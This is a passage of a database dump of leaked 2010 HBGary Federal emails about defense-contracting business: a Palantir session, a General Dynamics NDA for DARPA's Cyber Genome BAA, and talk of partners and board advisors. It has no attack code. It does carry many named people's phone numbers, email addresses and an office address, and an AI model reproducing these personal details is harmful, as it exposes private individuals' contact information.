facility.\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd Suite 250\r\nSacramento, CA 95864\r\nPhone | 916.459.4727\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you need anything else?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 4:03 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nStill haven\'t seen any info on this.....\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thu 2/11/2010 4:18 PM\r\nTo: \'aaron@hbgary.com\'\r\nCc: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)\r\nSubject: Re: Emailing: Integrated Cyber Defense &amp; Support\r\nTechnologies - Federal Business Opportunities Opportunities.mht\r\n\r\n\r\n\r\n\r\n\r\nHey, \r\nCan you send kevin the info for tuesday?&nbsp;\r\nHe is one of our senior guys. \r\n\r\n&nbsp;\r\n\r\n----- Original Message ----- \r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Masterson, Brian (Xetron) \r\nSent: Thu Feb 11 15:09:13 2010 \r\nSubject: Re: Emailing: Integrated Cyber Defense\r\n&amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\nwhat is this file?&nbsp; I can\'t open\r\nit.&nbsp; Its some sort of web archive file? \r\n\r\n&nbsp;\r\n\r\nOn Feb 11, 2010, at 12:21 PM, Masterson,\r\nBrian (Xetron) wrote: \r\n\r\n&gt; &lt;Integrated Cyber Defense &amp;\r\nSupport Technologies - Federal Business Opportunities Opportunities.mht&gt;\r\n\r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13835,'aaron_hbgary_com/13835.html'),(2659,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001237.M319236P3547Q2659.eml','\"Greg Hoglund\" <greg@hbgary.com>','DARPA baa','Greg,\r\n\r\nI owe u a cplwte set of thoughts on what I am thinking related to\r\nbaa.  I need to spend some quiet time to do that today and tomorrow.\r\nThen I would like to spend 1 hr wed morning to discuss them another\r\nhour in afternoon talking to GD.  That should be it.\r\n\r\nI think I have a good approach just need to run it by u.  GD brought\r\nnothing to the table, so innovation will be coming fr us.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',4686,'aaron_hbgary_com/4686.html'),(2660,'2010-02-15','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297001238.M189688P3547Q2660.eml','aaron@hbgary.com,aaron@hbgary.com,,,,','FW: Cyber Genome  NDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\nYou mentioned that you are the HB\r\nGary Federal NDA approver.&nbsp; Russ Wenthold is our contracts guy who keeps us out\r\nof trouble.&nbsp; If you can sign this, great.\r\n\r\nAttached is the BAA mentioned\r\ntoday.&nbsp; \r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\nDoug Harlow\r\n\r\nCyber Business Development\r\n\r\nGeneral Dynamics - AIS\r\n\r\n14150 Newbrook Dr, Chantilly, VA\r\n20151\r\n\r\n703-803-0100, x4159 work\r\n\r\n703-835-7243 Cell\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Wenthold, Russell\r\nL. \r\nSent: Thursday, February 11, 2010 3:04 PM\r\nTo: penny@hggary.com\r\nCc: Harlow, Douglas M.; Starr, Christopher H.\r\nSubject: Cyber Genome NDA\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGood\r\nafternoon Ms Leavy,\r\n\r\n&nbsp;\r\n\r\nI\r\nhave been asked to execute an NDA with your company for discussions concerning\r\nCyber Genome and related Cyber capabilities.&nbsp; Attached please find the\r\nGDAIS Reciprocal Nondisclosure Agreement for your review.&nbsp; I used a past\r\nexecuted NDA as my example.&nbsp; Please correct and fill in missing information\r\n(yellow highlight) concerning your company. &nbsp;I enabled the Track Changes\r\nfunction for any change request or comments.&nbsp; If you find this version\r\nacceptable please sign and return to me for countersignature.&nbsp; It&#8217;s my\r\nunderstanding that the technical folks would like to hold a telcon tomorrow.\r\n\r\n&nbsp;\r\n\r\nRegards\r\nRuss\r\n\r\n&nbsp;\r\n\r\nRuss\r\nWenthold\r\n\r\nContracts\r\nAdministrator\r\n\r\n210-442-4207\r\n(Blanco)\r\n\r\n210-932-5537\r\n(SAIF)\r\n\r\n210-377-0199\r\n(FAX\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14197,'aaron_hbgary_com/14197.html'),(2661,'2010-02-15','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297001240.M193568P3547Q2661.eml','aaron@hbgary.com,aaron@hbgary.com,,,','FW:','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\nI sent the wrong one.&nbsp; Here is\r\nthe latest NDA.\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Wenthold, Russell\r\nL. \r\nSent: Monday, February 15, 2010 4:23 PM\r\nTo: Riehl, Dina L.\r\nCc: Harlow, Douglas M.; Starr, Christopher H.; Jaeger, James A.\r\nSubject: \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Dina&#8230;..\r\n\r\n&nbsp;\r\n\r\nRuss\r\nWenthold\r\n\r\nContracts\r\nAdministrator\r\n\r\n210-442-4207\r\n(Blanco)\r\n\r\n210-932-5537\r\n(SAIF)\r\n\r\n210-377-0199\r\n(FAX\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14300,'aaron_hbgary_com/14300.html'),(2662,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001240.M469724P3547Q2662.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Thursday','Any news?  I want to book.  I am not headed to sacremento so I will see ifni can get what they produce or Kevin can.AaronFrom my iPhoneOn Feb 15, 2010, at 10:04 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCqn you guys bring the stuff from sacramento with you for thursday?\r\n\r\n\r\n\r\n\r\n',4747,'aaron_hbgary_com/4747.html'),(2663,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001241.M56190P3547Q2663.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>,\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: 624th Ops Center--Next Steps','Forgot to mention we will need strong  partners to help take this to market.AaronFrom my iPhoneOn Feb 15, 2010, at 9:39 AM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nUsed a ‘sent’\r\nemail below; this should work better!\r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Monday, February 15, 2010 8:36 AM\r\nTo: Shows, Bob (IS)\r\nCc: Edwards, Michael (CORP)\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nWeather and travel\r\nreally de-railed my schedule last week.  I  will catch-up with you\r\nthis week. \r\n\r\n \r\n\r\nI reviewed the\r\nAurora brochure—a very sophisticated presentation.  Please help me\r\nunderstand how this will be used?  Was it an assessment specified for a\r\nspecific organization?  \r\n\r\n \r\n\r\nHopefully Mike\r\nwill be able to assist as we expand our relationship with the 24th\r\nNAF and 624th Operations Center—he’s still grieving over\r\nyour departure from NGC!\r\n\r\n \r\n\r\nBest of the day, \r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Shows, Bob (IS) \r\n\r\nSent: Tuesday, February 09, 2010 9:44 AM\r\nTo: Aaron Barr\r\nSubject: RE: 624th Ops Center--Next Steps\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron, \r\n\r\n \r\n\r\nNo word back from\r\nVickie—so I take that as a “no”.   That’s\r\nfine since we can get to many consultants on our own.  Gen (Ret) Tom\r\nHobbins is back onboard with NGC—he brings a lot.   I’ll\r\ncatch-up with you Wed or Thurs to work next steps.   Let me know if\r\none timeframe is better than another to call.  \r\n\r\n \r\n\r\nCheers,\r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:17 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Bob,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust checking in to see any status on this effort.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI spoke at length\r\nwith Vickie Michaels of CyberSpace Operations Consulting, LLC.  Fundamentally\r\nher company is interested, but wants NGC to pay her company upfront to\r\nconsultant in bringing this business case together.  I conveyed that was\r\nnot going to work, but if she could get her boss to sign the NDA, I would work\r\nwith her to see how they might fit.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOf note, she\r\nwasn’t interested in investing 2-4 hours of her own time just tighten the\r\nshot pattern on this effort.  We left it with her going to see her boss\r\nand present the case (for which she did not seem overly enthusiastic)—we’ll\r\nsee. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned,\r\nCSOC would be nice to have on this team, but not essential.  We have Tom\r\nHobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you\r\nknow to assist with senior customer interface. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nUntil we hear from\r\nVickie, not sure we should plan to rendezvous in San Antonio—I’ll\r\nstay on top of this and keep you in-the-loop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlso, Jim Hale has\r\nsome things in the work that he believes will be of interest to you. \r\nHe’ll be in touch soon.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJim &#39;Torch&#39; Hale\r\n\r\n\r\n\r\n\r\n\r\n(719) 238-0763 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n(301) 652-8885 x117\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest regards,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14241,'aaron_hbgary_com/14241.html'),(2664,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001247.M251055P3547Q2664.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Business Plan Data','\r\n\r\nWill this due.\r\n\r\nAaron\r\n\r\nOn Feb 15, 2010, at 2:56 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> Aaron,\r\n> \r\n> Can you send me any .ppt that you have on this?  I am working through\r\n> the business plan and need some imput.\r\n> \r\n> Thanks billt\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14226,'aaron_hbgary_com/14226.html'),(2665,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001247.M574625P3547Q2665.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Board of advisors','How do you want me to proceed with Fidelis.  HBGary Fed will certainly benefit once the integration happens as we leverage it for IR engagements.  I want to be present for the meeting and can set it up if you want but its an initial product integration.  Which I don\'t think will take long at all.\r\n\r\nAlso, I need 2 hours of gregs time on Wednesday.  1 in the morning to discuss the DARPA BAA and another in the afternoon to talk with GD about our ideas.\r\n\r\nBTW, GD brought nothing to the table today for ideas so I guess they will all come from us.\r\n\r\nIs the Dupont engagement going through HBGary Federal?  I would like to claim it as past performance, also would like to shadow for the investigation.  I want to use first hand knowledge to help to better our IR framework we are building based on our tools and partner tools (Fidelis and Palantir).\r\n\r\nAaron\r\n\r\nOn Feb 15, 2010, at 3:57 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Don\'t really have one.  Is it a board member or a technical advisory board\r\n> member?  We don\'t have D&O insurance so that could be a show stopper, it\'s\r\n> very expensive and many board members require it.  Then there is\r\n> compensation, many of these guys make 6 figures as a board member, so we\r\n> should probably look at that.  You should find out his requirements\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, February 12, 2010 5:28 PM\r\n> To: Greg Hoglund; Penny Leavy\r\n> Subject: Board of advisors\r\n> \r\n> Greg/penny,\r\n> \r\n> What is the process for evaluating and accepting a new board member?\r\n> \r\n> I am thinking of art money.  He could be very helpful.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5356,'aaron_hbgary_com/5356.html'),(2666,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001247.M756292P3547Q2666.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Just was put out by 451 Analyst Group','Hey Brian,Have some time to catch up tomorrow?AaronOn Feb 8, 2010, at 5:13 PM, Matthew Steckman wrote:Wednesday Ill be onsite.&nbsp; Can we sync up Thurs?&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Just let me know when you want Geoff Stowe to drive up to Sacramento·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ill pencil you in for analyst training on the 23rd·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ive been emailing back and forth with Brian – I think he’s in a good place right now·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lets chat about some AF things we have going on·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Have you guys approached Google at any point?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 4:52 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Just was put out by 451 Analyst Group&nbsp;yeah...more of those to come. &nbsp;:)&nbsp;I will press Gregs better half, who does most of the scheduling to see when we can do the training.&nbsp;Want to get caught up with you maybe Wednesday? &nbsp;We are pursing some work down at the 92nd, also on a proposal with Macaulley Brown for the AF OSI RFP. &nbsp;We are making partner decisions for the DARPA BAA for cyber genome (there will be a palantir element). &nbsp;Also still working with Brian Masterson to build his IRAD, and have some conversations coming up with Dave Luber out of the ANO office. &nbsp;Probably a few others that I missed but a good start.&nbsp;Aaron&nbsp;&nbsp;On Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:Wow, nice article.&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 4:20 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Fwd: Just was put out by 451 Analyst Group&nbsp;Nice.&nbsp;Begin forwarded message:From:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;February 8, 2010 4:15:03 PM ESTTo:&nbsp;\"\'Maria Lucas\'\" &lt;maria@hbgary.com&gt;, \"\'Rich Cummings\'\" &lt;rich@hbgary.com&gt;, \"\'Phil Wallisch\'\" &lt;phil@hbgary.com&gt;, \"\'Matt O\'Flynn\'\" &lt;matt@hbgary.com&gt;, \"\'Bob Slapnik\'\" &lt;bob@hbgary.com&gt;Cc:&nbsp;\"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;, \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: Just was put out by 451 Analyst GroupI scanned this so all could see, not sure we can distribute, so let me check.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps in a big way&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11797,'aaron_hbgary_com/11797.html'),(2667,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001247.M949640P3547Q2667.eml','\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','719.510.8478Also Penny\'s number&nbsp;916-459-4727 x105I will not be there tomorrow. &nbsp;I am really interested to see what comes out of tomorrows meeting.AaronOn Feb 15, 2010, at 4:26 PM, Henderson, Michael L. (Xetron) wrote:Hey Aaron,&nbsp;If all goes well at the airport, Kevin is en-route to Sacramento (by way of Nashville, then San Francisco…).&nbsp;&nbsp; Can you send him your cell #?&nbsp;Thanks again,Mike Henderson513-881-3424 (office)513-364-9068 (mobile)&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 12, 2010 9:55 PMTo:&nbsp;Gibbs, Kevin (Xetron)Cc:&nbsp;Masterson, Brian (Xetron); Henderson, Michael L. (Xetron)Subject:&nbsp;Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&nbsp;Sorry Kevin...&nbsp;Palantir session is all day on the 16th at the Sacramento HBGary facility.3604 Fair Oaks Blvd Suite 250Sacramento, CA 95864Phone | 916.459.4727&nbsp;Do you need anything else?&nbsp;AaronOn Feb 12, 2010, at 4:03 PM, Gibbs, Kevin (Xetron) wrote:Still haven\'t seen any info on this.....&nbsp;From:&nbsp;Masterson, Brian (Xetron)Sent:&nbsp;Thu 2/11/2010 4:18 PMTo:&nbsp;\'aaron@hbgary.com\'Cc:&nbsp;Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)Subject:&nbsp;Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mhtHey,&nbsp;Can you send kevin the info for tuesday?&nbsp; He is one of our senior guys.&nbsp;----- Original Message -----&nbsp;From: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;To: Masterson, Brian (Xetron)&nbsp;Sent: Thu Feb 11 15:09:13 2010&nbsp;Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mhtwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file?&nbsp;On Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote:&gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt;Aaron Barr&nbsp;CEO&nbsp;HBGary Federal Inc.&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',686,'aaron_hbgary_com/686.html'),(2668,'2010-02-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001248.M155498P3547Q2668.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Board of advisors','Hey Aaron\r\n\r\nSee in line\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 3:31 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Board of advisors\r\n\r\nHow do you want me to proceed with Fidelis.  HBGary Fed will certainly\r\nbenefit once the integration happens as we leverage it for IR engagements.\r\nI want to be present for the meeting and can set it up if you want but its\r\nan initial product integration.  Which I don\'t think will take long at all.\r\n\r\n>>>>I\'ll call David and see how he wants to proceed.  \r\n\r\nAlso, I need 2 hours of gregs time on Wednesday.  1 in the morning to\r\ndiscuss the DARPA BAA and another in the afternoon to talk with GD about our\r\nideas.\r\n\r\n>>>Greg is really swamped now, let me see what he can do.  \r\n\r\n\r\nBTW, GD brought nothing to the table today for ideas so I guess they will\r\nall come from us.\r\n\r\n>>>Well perhaps it\'s the best way to bring in Sparta.  We hold the cards and\r\nif they have \"NO\" ideas, then we need to make sure we get bulk of the work\r\nis my feeling\r\n\r\nIs the Dupont engagement going through HBGary Federal?  I would like to\r\nclaim it as past performance, also would like to shadow for the\r\ninvestigation.  I want to use first hand knowledge to help to better our IR\r\nframework we are building based on our tools and partner tools (Fidelis and\r\nPalantir).\r\n\r\n>>>I think it\'s going through HBGary, you can shadow it and claim it but I\r\nthink it\'s all been submitted.  We have to work out a process for this\r\n\r\nAaron\r\n\r\nOn Feb 15, 2010, at 3:57 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Don\'t really have one.  Is it a board member or a technical advisory board\r\n> member?  We don\'t have D&O insurance so that could be a show stopper, it\'s\r\n> very expensive and many board members require it.  Then there is\r\n> compensation, many of these guys make 6 figures as a board member, so we\r\n> should probably look at that.  You should find out his requirements\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, February 12, 2010 5:28 PM\r\n> To: Greg Hoglund; Penny Leavy\r\n> Subject: Board of advisors\r\n> \r\n> Greg/penny,\r\n> \r\n> What is the process for evaluating and accepting a new board member?\r\n> \r\n> I am thinking of art money.  He could be very helpful.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',16609,'aaron_hbgary_com/16609.html'),(2669,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001248.M426819P3547Q2669.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Board of advisors','I agree on bringing in Sparta and pushing for good chunk of work and\r\nwill do so.  On Greg I talked to him today, and he agreed on\r\nWednesday.  I want to minimize his time just need to do it once and we\r\ncam go from there.\r\n\r\nNo problem on dupont I just want to learn, document and start\r\nproducing here.\r\n\r\nI haven\'t heard from foundstone yet.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 15, 2010, at 6:36 PM, \"Penny Leavy-Hoglund\" \r\nwrote:\r\n\r\n> Hey Aaron\r\n>\r\n> See in line\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, February 15, 2010 3:31 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Board of advisors\r\n>\r\n> How do you want me to proceed with Fidelis.  HBGary Fed will certainly\r\n> benefit once the integration happens as we leverage it for IR\r\n> engagements.\r\n> I want to be present for the meeting and can set it up if you want\r\n> but its\r\n> an initial product integration.  Which I don\'t think will take long\r\n> at all.\r\n>\r\n>>>>> I\'ll call David and see how he wants to proceed.\r\n>\r\n> Also, I need 2 hours of gregs time on Wednesday.  1 in the morning to\r\n> discuss the DARPA BAA and another in the afternoon to talk with GD\r\n> about our\r\n> ideas.\r\n>\r\n>>>> Greg is really swamped now, let me see what he can do.\r\n>\r\n>\r\n> BTW, GD brought nothing to the table today for ideas so I guess they\r\n> will\r\n> all come from us.\r\n>\r\n>>>> Well perhaps it\'s the best way to bring in Sparta.  We hold the\r\n>>>> cards and\r\n> if they have \"NO\" ideas, then we need to make sure we get bulk of\r\n> the work\r\n> is my feeling\r\n>\r\n> Is the Dupont engagement going through HBGary Federal?  I would like\r\n> to\r\n> claim it as past performance, also would like to shadow for the\r\n> investigation.  I want to use first hand knowledge to help to better\r\n> our IR\r\n> framework we are building based on our tools and partner tools\r\n> (Fidelis and\r\n> Palantir).\r\n>\r\n>>>> I think it\'s going through HBGary, you can shadow it and claim it\r\n>>>> but I\r\n> think it\'s all been submitted.  We have to work out a process for this\r\n>\r\n> Aaron\r\n>\r\n> On Feb 15, 2010, at 3:57 PM, Penny Leavy-Hoglund wrote:\r\n>\r\n>> Don\'t really have one.  Is it a board member or a technical\r\n>> advisory board\r\n>> member?  We don\'t have D&O insurance so that could be a show\r\n>> stopper, it\'s\r\n>> very expensive and many board members require it.  Then there is\r\n>> compensation, many of these guys make 6 figures as a board member,\r\n>> so we\r\n>> should probably look at that.  You should find out his requirements\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, February 12, 2010 5:28 PM\r\n>> To: Greg Hoglund; Penny Leavy\r\n>> Subject: Board of advisors\r\n>>\r\n>> Greg/penny,\r\n>>\r\n>> What is the process for evaluating and accepting a new board member?\r\n>>\r\n>> I am thinking of art money.  He could be very helpful.\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n',3876,'aaron_hbgary_com/3876.html'),(2670,'2010-02-16','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001248.M749749P3547Q2670.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure that was intended for me?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 6:35 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Brian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave some time to catch up tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 5:13 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday Ill be onsite.&nbsp; Can we sync up 